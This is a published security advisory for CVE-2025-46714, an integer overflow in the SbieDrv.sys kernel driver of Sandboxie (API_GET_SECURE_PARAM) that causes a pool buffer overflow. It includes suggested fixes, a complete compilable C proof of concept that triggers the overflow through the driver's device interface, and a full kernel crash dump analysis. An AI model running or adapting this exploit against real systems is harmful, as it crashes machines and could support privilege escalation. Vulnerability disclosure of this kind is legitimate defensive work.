Skip to content

Pool Buffer Overflow in SbieDrv.sys API (API_GET_SECURE_PARAM)

High
DavidXanatos published GHSA-c5h5-54gp-xh4q May 22, 2025

Package

No package listed

Affected versions

>= 1.3.0

Patched versions

1.15.12

Description

Summary

API_GET_SECURE_PARAM has an arithmetic overflow leading to a small memory allocation and then a extremely large copy into the small allocation.

Details

        name_len = (wcslen(args->param_name.val) + 3 + 1) * sizeof(WCHAR);
        name = Mem_Alloc(Driver_Pool, name_len);
        wcscpy(name, args->param_name.val);

Because name_len is a ULONG, we can easily get this to wrap by allocating an extremely large name and passing it to the kernel. So we malloc 2147483648 wchar_t's, which is 2147483648 * 2 bytes. name_len then equals (2147483648 + 4) * 2, which wraps to a small value. We mem_alloc the small value, and then wcscpy the massive name into this small buffer.

Alternatively, we can just allocate a wchar_t* string larger than uint32_t max, name_len will truncate, and wcscpy will buffer overflow.

This can be triggered by anyone on the system (except sandboxed processes perhaps?), including low integrity windows processes.

Recommend you check the length of the value first then abort if it isn't sane. Additionally name_len should be a size_t, which would make this effectively unexploitable on a 64-bit system.

API_SET_SECURE_PARAM has a similar pattern but I don't believe can overflow. However, checks should be added there as well.

PoC

Compile and execute.

With the PoC, you'll get a PAGE_FAULT_IN_NONPAGED_AREA BSOD.

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <psapi.h>
#include <tchar.h>
#include <stdlib.h>

#define API_DEVICE_NAME         L"\\Device\\SandboxieDriverApi"
#define API_SBIEDRV_CTLCODE     0x222007
#define API_GET_SECURE_PARAM    0x12340047L
#define API_NUM_ARGS            8

typedef struct _API_SECURE_PARAM_ARGS {
    ULONG64 func_code;
    struct { ULONG64 val; } param_name;
    struct { ULONG64 val; } param_data;
    struct { ULONG64 val; } param_size;
    struct { ULONG64 val; } param_size_out;
    struct { ULONG64 val; } param_verify;
} API_SECURE_PARAM_ARGS;

typedef NTSTATUS(NTAPI* PFN_NtOpenFile)(
    PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK,
    ULONG, ULONG);

typedef NTSTATUS(NTAPI* PFN_NtDeviceIoControlFile)(
    HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK,
    ULONG, PVOID, ULONG, PVOID, ULONG);

typedef VOID(WINAPI* PFN_RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);

void hexdump(const void* data, size_t size) {
    const unsigned char* p = (const unsigned char*)data;
    for (size_t i = 0; i < size; i += 16) {
        printf("%08zx  ", i);
        for (size_t j = 0; j < 16; ++j)
            if (i + j < size) printf("%02x ", p[i + j]);
            else printf("   ");
        printf(" ");
        for (size_t j = 0; j < 16; ++j)
            if (i + j < size) {
                unsigned char c = p[i + j];
                printf("%c", (c >= 32 && c <= 126) ? c : '.');
            }
        printf("\n");
    }
}

NTSTATUS ApiGetSecureParam(
    PFN_NtDeviceIoControlFile NtDeviceIoControlFile,
    HANDLE hDevice,
    const WCHAR* param_name,
    void* param_data,
    ULONG param_size,
    ULONG* param_size_out,
    BOOLEAN param_verify
) {
    ULONG64 parms[API_NUM_ARGS] = { 0 };
    API_SECURE_PARAM_ARGS* args = (API_SECURE_PARAM_ARGS*)parms;
    IO_STATUS_BLOCK ioStatus = { 0 };

    args->func_code = API_GET_SECURE_PARAM;
    args->param_name.val = (ULONG64)(ULONG_PTR)param_name;
    args->param_data.val = (ULONG64)(ULONG_PTR)param_data;
    args->param_size.val = (ULONG64)param_size;
    args->param_size_out.val = (ULONG64)(ULONG_PTR)param_size_out;
    args->param_verify.val = (ULONG64)param_verify;

    return NtDeviceIoControlFile(
        hDevice, NULL, NULL, NULL, &ioStatus,
        API_SBIEDRV_CTLCODE, parms, sizeof(parms), NULL, 0);
}

int main(void) {
    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    if (!ntdll) {
        printf("Failed to get ntdll handle\n");
        return 1;
    }

    PFN_NtOpenFile NtOpenFile = (PFN_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile");
    PFN_NtDeviceIoControlFile NtDeviceIoControlFile = (PFN_NtDeviceIoControlFile)GetProcAddress(ntdll, "NtDeviceIoControlFile");
    PFN_RtlInitUnicodeString RtlInitUnicodeString = (PFN_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");

    if (!NtOpenFile || !NtDeviceIoControlFile || !RtlInitUnicodeString) {
        printf("Failed to resolve NT native APIs\n");
        return 1;
    }

    UNICODE_STRING uni;
    RtlInitUnicodeString(&uni, API_DEVICE_NAME);

    OBJECT_ATTRIBUTES objAttrs;
    InitializeObjectAttributes(&objAttrs, &uni, OBJ_CASE_INSENSITIVE, NULL, NULL);

    IO_STATUS_BLOCK ioStatus = { 0 };
    HANDLE hDevice = NULL;

    NTSTATUS status = NtOpenFile(
        &hDevice,
        FILE_GENERIC_READ | FILE_GENERIC_WRITE,
        &objAttrs,
        &ioStatus,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        0);

    if (status != 0 || hDevice == NULL) {
        printf("NtOpenFile failed: 0x%08X\n", status);
        return 1;
    }

    // Ensure we trigger the overflow in name_len calculation:
    // name_len = (wcslen(args->param_name.val) + 3 + 1) * sizeof(WCHAR);
    WCHAR* name = (WCHAR*)malloc(2147483648 * sizeof(wchar_t));
    if (name == NULL)
    {
        printf("Out of memory\n");
        return 1;
    }
    wmemset(name, L'a', 2147483648);

    // Query secure param
    WCHAR* param_name = name;
    BYTE param_data[64] = { 0 };
    ULONG param_size = sizeof(param_data);
    ULONG param_size_out = param_size;
    BOOLEAN param_verify = FALSE;

    status = ApiGetSecureParam(
        NtDeviceIoControlFile, hDevice,
        param_name, param_data, param_size, &param_size_out, param_verify);

    if (status != 0) {
        printf("ApiGetSecureParam failed: 0x%08X\n", status);
    }
    else {
        printf("ApiGetSecureParam succeeded, param_size_out=%lu\n", param_size_out);
        hexdump(param_data, param_size_out);
    }

    CloseHandle(hDevice);
    return 0;
}
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffa50d95912000, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
	bit 1 is set if the fault was due to a write, clear if a read.
	bit 3 is set if the processor decided the fault was due to a corrupted PTE.
	bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
	- ARM64: bit 1 is set if the fault was due to a write, clear if a read.
	bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff80351d02301, If non-zero, the instruction address which referenced the bad memory
	address.
Arg4: 0000000000000000, (reserved)

Debugging Details:
------------------


KEY_VALUES_STRING: 1

    Key  : AV.Type
    Value: Write

    Key  : Analysis.CPU.mSec
    Value: 953

    Key  : Analysis.Elapsed.mSec
    Value: 1657

    Key  : Analysis.IO.Other.Mb
    Value: 0

    Key  : Analysis.IO.Read.Mb
    Value: 1

    Key  : Analysis.IO.Write.Mb
    Value: 1

    Key  : Analysis.Init.CPU.mSec
    Value: 296

    Key  : Analysis.Init.Elapsed.mSec
    Value: 1394

    Key  : Analysis.Memory.CommitPeak.Mb
    Value: 87

    Key  : Analysis.Version.DbgEng
    Value: 10.0.27793.1000

    Key  : Analysis.Version.Description
    Value: 10.2410.02.02 amd64fre

    Key  : Analysis.Version.Ext
    Value: 1.2410.2.2

    Key  : Bugcheck.Code.LegacyAPI
    Value: 0x50

    Key  : Bugcheck.Code.TargetModel
    Value: 0x50

    Key  : Failure.Bucket
    Value: AV_W_(null)_SbieDrv!unknown_function

    Key  : Failure.Exception.IP.Address
    Value: 0xfffff80351d02301

    Key  : Failure.Exception.IP.Module
    Value: SbieDrv

    Key  : Failure.Exception.IP.Offset
    Value: 0x2301

    Key  : Failure.Hash
    Value: {6a05f8ab-adb3-1ad6-17b9-82d286bd4f5b}

    Key  : Hypervisor.Enlightenments.ValueHex
    Value: 0x6090ebf4

    Key  : Hypervisor.Flags.AnyHypervisorPresent
    Value: 1

    Key  : Hypervisor.Flags.ApicEnlightened
    Value: 1

    Key  : Hypervisor.Flags.ApicVirtualizationAvailable
    Value: 0

    Key  : Hypervisor.Flags.AsyncMemoryHint
    Value: 0

    Key  : Hypervisor.Flags.CoreSchedulerRequested
    Value: 0

    Key  : Hypervisor.Flags.CpuManager
    Value: 0

    Key  : Hypervisor.Flags.DeprecateAutoEoi
    Value: 0

    Key  : Hypervisor.Flags.DynamicCpuDisabled
    Value: 1

    Key  : Hypervisor.Flags.Epf
    Value: 0

    Key  : Hypervisor.Flags.ExtendedProcessorMasks
    Value: 1

    Key  : Hypervisor.Flags.HardwareMbecAvailable
    Value: 1

    Key  : Hypervisor.Flags.MaxBankNumber
    Value: 0

    Key  : Hypervisor.Flags.MemoryZeroingControl
    Value: 0

    Key  : Hypervisor.Flags.NoExtendedRangeFlush
    Value: 0

    Key  : Hypervisor.Flags.NoNonArchCoreSharing
    Value: 0

    Key  : Hypervisor.Flags.Phase0InitDone
    Value: 1

    Key  : Hypervisor.Flags.PowerSchedulerQos
    Value: 0

    Key  : Hypervisor.Flags.RootScheduler
    Value: 0

    Key  : Hypervisor.Flags.SynicAvailable
    Value: 1

    Key  : Hypervisor.Flags.UseQpcBias
    Value: 0

    Key  : Hypervisor.Flags.Value
    Value: 659693

    Key  : Hypervisor.Flags.ValueHex
    Value: 0xa10ed

    Key  : Hypervisor.Flags.VpAssistPage
    Value: 1

    Key  : Hypervisor.Flags.VsmAvailable
    Value: 1

    Key  : Hypervisor.RootFlags.AccessStats
    Value: 0

    Key  : Hypervisor.RootFlags.CrashdumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.CreateVirtualProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.DisableHyperthreading
    Value: 0

    Key  : Hypervisor.RootFlags.HostTimelineSync
    Value: 0

    Key  : Hypervisor.RootFlags.HypervisorDebuggingEnabled
    Value: 0

    Key  : Hypervisor.RootFlags.IsHyperV
    Value: 0

    Key  : Hypervisor.RootFlags.LivedumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.MapDeviceInterrupt
    Value: 0

    Key  : Hypervisor.RootFlags.MceEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.Nested
    Value: 0

    Key  : Hypervisor.RootFlags.StartLogicalProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.Value
    Value: 0

    Key  : Hypervisor.RootFlags.ValueHex
    Value: 0x0

    Key  : WER.OS.Branch
    Value: ge_release

    Key  : WER.OS.Version
    Value: 10.0.26100.1


BUGCHECK_CODE:  50

BUGCHECK_P1: ffffa50d95912000

BUGCHECK_P2: 2

BUGCHECK_P3: fffff80351d02301

BUGCHECK_P4: 0

FILE_IN_CAB:  041725-2437-01.dmp

VIRTUAL_MACHINE:  HyperV

FAULTING_THREAD:  ffffe00552e72080

READ_ADDRESS: fffff803bc1c34c0: Unable to get MiVisibleState
Unable to get NonPagedPoolStart
Unable to get NonPagedPoolEnd
Unable to get PagedPoolStart
Unable to get PagedPoolEnd
unable to get nt!MmSpecialPagesInUse
 ffffa50d95912000 

MM_INTERNAL_CODE:  0

IMAGE_NAME:  SbieDrv.sys

MODULE_NAME: SbieDrv

FAULTING_MODULE: fffff80351d00000 SbieDrv

BLACKBOXBSD: 1 (!blackboxbsd)


BLACKBOXNTFS: 1 (!blackboxntfs)


BLACKBOXPNP: 1 (!blackboxpnp)


BLACKBOXWINLOGON: 1

CUSTOMER_CRASH_COUNT:  1

PROCESS_NAME:  SandboxieVulns.exe

TRAP_FRAME:  fffff4057b82ee10 -- (.trap 0xfffff4057b82ee10)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000000061 rbx=0000000000000000 rcx=0000020babc62ff0
rdx=ffffa50d95912000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80351d02301 rsp=fffff4057b82efa0 rbp=fffff4057b82f4e0
 r8=ffffe00552e72080  r9=ffffa50d958ff030 r10=0000000000000001
r11=fffff4057b82ef18 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
SbieDrv+0x2301:
fffff803`51d02301 668902          mov     word ptr [rdx],ax ds:ffffa50d`95912000=????
Resetting default scope

STACK_TEXT:  
fffff405`7b82eba8 fffff803`bb8a54a8     : 00000000`00000050 ffffa50d`95912000 00000000`00000002 fffff405`7b82ee10 : nt!KeBugCheckEx
fffff405`7b82ebb0 fffff803`bb4913cf     : ffffa50d`95912000 00000000`00001000 00000000`00000002 fffff803`bb200000 : nt!MiSystemFault+0x43288c
fffff405`7b82eca0 fffff803`bb88aacb     : ffffe005`54652410 fffff405`7b82ee90 00000009`9df4bd75 000011a7`ff53d4ce : nt!MmAccessFault+0x2ff
fffff405`7b82ee10 fffff803`51d02301     : 00000000`00000898 fffff405`7b82f330 00000000`00000000 ffffe005`5463b0f0 : nt!KiPageFault+0x38b
fffff405`7b82efa0 00000000`00000898     : fffff405`7b82f330 00000000`00000000 ffffe005`5463b0f0 00000008`00000001 : SbieDrv+0x2301
fffff405`7b82efa8 fffff405`7b82f330     : 00000000`00000000 ffffe005`5463b0f0 00000008`00000001 ffffa50d`958ff050 : 0x898
fffff405`7b82efb0 00000000`00000000     : ffffe005`5463b0f0 00000008`00000001 ffffa50d`958ff050 fffff803`51d35ba0 : 0xfffff405`7b82f330


SYMBOL_NAME:  SbieDrv+2301

STACK_COMMAND:  .process /r /p 0xffffe00554217080; .thread 0xffffe00552e72080 ; kb

BUCKET_ID_FUNC_OFFSET:  2301

FAILURE_BUCKET_ID:  AV_W_(null)_SbieDrv!unknown_function

OS_VERSION:  10.0.26100.1

BUILDLAB_STR:  ge_release

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

FAILURE_ID_HASH:  {6a05f8ab-adb3-1ad6-17b9-82d286bd4f5b}

Followup:     MachineOwner
---------

Impact

Worst case, ACE. Unclear if this is exploitable.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2025-46714

Weaknesses

No CWEs

Credits